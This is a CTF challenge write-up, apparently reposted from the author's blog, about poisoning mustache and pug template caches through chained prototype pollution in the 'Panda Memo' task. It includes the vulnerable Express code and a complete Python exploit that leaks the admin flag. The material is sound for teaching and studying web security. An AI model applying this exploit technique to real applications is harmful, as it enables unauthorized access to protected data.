Polluting Template Engine Cache via Prototype Pollution
2022-9-4 22:6:12 Author: ptr-yudai.hatenablog.com(查看原文) 阅读量:46 收藏

Yesterday I hosted CakeCTF 2022 and I wrote a web task named "Panda Memo" in the CTF. I invented (or re-invented?) a small technique to abuse prototype pollution to control many of the template engines.

I was just planning to make a challenge about prototype pollution attacks. In order to make a challenge, I was reading the AST Injection technique invented by posix-sensei. In this article, he illustrates the use of AST Injection with examples of Handlebars and Pug. I was wondering if there was any other template engine that had never been used as a CTF challenge.

I came across a template engine named mustache, which seemed very simple and good for medium-level CTF. Then I started looking over the code and found a way to abuse template engine without AST Injection.

As I'm not a web security researcher and I'm not sure if this technique is known, I take small notes in this blog post.

Panda Memo is a web challenge which the attacker has to chain 2 prototype pollution vulnerabilities. The service is a simple note like a pwn challenge. It stores a list of notes per IP.

const isAdmin = req => req.query.secret === SECRET;
const getAdminRole = req => {
    

    return isAdmin(req) ? ['admin'] : [];
}
let memo = {};

app.get('/', (req, res) => res.render('index'));


app.post('/new', (req, res) => {
    
    if (!(req.ip in memo)) memo[req.ip] = [];
    memo[req.ip].push("");

    res.json({status: 'success'});
});


app.post('/del', (req, res) => {
    let index = req.body.index;

    
    if ((req.ip in memo) && (index in memo[req.ip])) {
        memo[req.ip].splice(index, 1);
        res.json({status: 'success', result: 'Successfully deleted'});
    } else {
        res.json({status: 'error', result: 'Memo not found'});
    }
});


app.get('/show', (req, res) => {
    let ip = req.ip;

    

    if (req.body.debug == true)
        console.table(memo, req.body.inspect);

    
    if (getAdminRole(req)[0] !== undefined)
        ip = req.body.ip;

    
    if (ip in memo)
        res.json({status: 'success', result: memo[ip]});
    else
        res.json({status: 'error', result: 'Memo not found'});
});


app.post('/edit', (req, res) => {
    let ip = req.ip;
    let index = req.body.index;
    let new_memo = req.body.memo;

    
    if (getAdminRole(req)[0] !== undefined)
        ip = req.body.ip;

    
    if (ip in memo) {
        memo[ip][index] = new_memo;
        res.json({status: 'success', result: 'Successfully updated'});
    } else {
        res.json({status: 'error', result: 'Memo not found'});
    }
});


app.get('/admin', (req, res) => {
    res.render('admin', {is_admin:isAdmin(req), flag:FLAG});
});

The goal of this task is to steal the flag in the admin panel.


app.get('/admin', (req, res) => {
    res.render('admin', {is_admin:isAdmin(req), flag:FLAG});
});

The template looks like this:


<html>
    <head>
        <meta charset="UTF-8">
        <link rel="stylesheet" href="https://cdn.simplecss.org/simple.min.css">
        <title>Admin Panel - lolpanda</title>
    </head>
    <body>
        <header>
            <h1>Admin Panel</h1>
            <p>Please leave this page if you're not the admin.</p>
        </header>
        <main>
            <article style="text-align: center;">
                <h2>FLAG</h2>
                <p>
                    {{#is_admin}}
                    FLAG: <code>{{flag}}</code>
                    {{/is_admin}}
                    {{^is_admin}}
                    <mark>Access Denied</mark>
                    {{/is_admin}}
                </p>
            </article>
        </main>
    </body>
</html>

There is no way to make is_admin true so you need to leak the flag in other ways.

The first vulnerability is CVE-2022-21824.

    

    if (req.body.debug == true)
        console.table(memo, req.body.inspect);

The attacker can set an empty string to Object.prototype[0]. This chains a new prototype pollution in "edit" function:

    
    if (getAdminRole(req)[0] !== undefined)
        ip = req.body.ip;

    
    if (ip in memo) {
        memo[ip][index] = new_memo;
        res.json({status: 'success', result: 'Successfully updated'});

Chaining these two bugs, the attacker can set arbitrary key and value to the Object prototype.

Many template engines take advantage of caching mechanism to make the response fast.

Mustache: mustache.js/mustache.js at 813e273a658677852ab37e6f47c98a9d9352ccde · janl/mustache.js · GitHub






Writer.prototype.parse = function parse (template, tags) {
  var cache = this.templateCache;
  var cacheKey = template + ':' + (tags || mustache.tags).join(':');
  var isCacheEnabled = typeof cache !== 'undefined';
  var tokens = isCacheEnabled ? cache.get(cacheKey) : undefined;

  if (tokens == undefined) {
    tokens = parseTemplate(template, tags);
    isCacheEnabled && cache.set(cacheKey, tokens);
  }
  return tokens;
};

Pug: pug/index.js at d4b7f602ba38212c2a5ad9431479ce959c466c4b · pugjs/pug · GitHub















function handleTemplateCache(options, str) {
  var key = options.filename;
  if (options.cache && exports.cache[key]) {
    return exports.cache[key];
  } else {
    if (str === undefined) str = fs.readFileSync(options.filename, 'utf8');
    var templ = exports.compile(str, options);
    if (options.cache) exports.cache[key] = templ;
    return templ;
  }
}

You'll notice this mechanism is exploitable if you have prototype pollution.

In the case of mustache, the key for the cache is created like this:

var cacheKey = template + ':' + (tags || mustache.tags).join(':');

tags is a list of keywords to be expanded by the template engine. It is ["{{", "}}"] by default.

So, the attacker can pollute the cache by setting a properly constructed key and value to the object prototype.

My exploit:

import requests
import json
import os

HOST = os.getenv("HOST", "localhost")
PORT = os.getenv("PORT", 8002)
USERNAME = os.getenv("BASIC_USERNAME", "guest")
PASSWORD = os.getenv("BASIC_PASSWORD", "guest")

with open("../distfiles/views/admin.html", "r") as f:
    template = f.read()

auth = requests.auth.HTTPBasicAuth(USERNAME, PASSWORD)


r = requests.post(f"http://{HOST}:{PORT}/new",
                  auth=auth)


r = requests.get(f"http://{HOST}:{PORT}/show",
                 headers={"Content-Type": "application/json"},
                 data=json.dumps({"debug": True, "inspect": ["__proto__"]}),
                 auth=auth)



cache_key = template + ":{{:}}"
cache_val = [["name", "flag", 0, 100]]
r = requests.post(f"http://{HOST}:{PORT}/edit",
                  headers={"Content-Type": "application/json"},
                  data=json.dumps({"ip": "__proto__",
                                   "index": cache_key,
                                   "memo": cache_val}),
                  auth=auth)


r = requests.get(f"http://{HOST}:{PORT}/admin", auth=auth)
print(r.text)

Again, I'm not a web security researcher and I don't know if this technique has been already well-known or how useful this technique is. However, I'd like to share it with anyone who is interested because this looks simpler and easier than AST Injection :)


文章来源: https://ptr-yudai.hatenablog.com/entry/2022/09/04/230612
如有侵权请联系:admin#unsafe.sh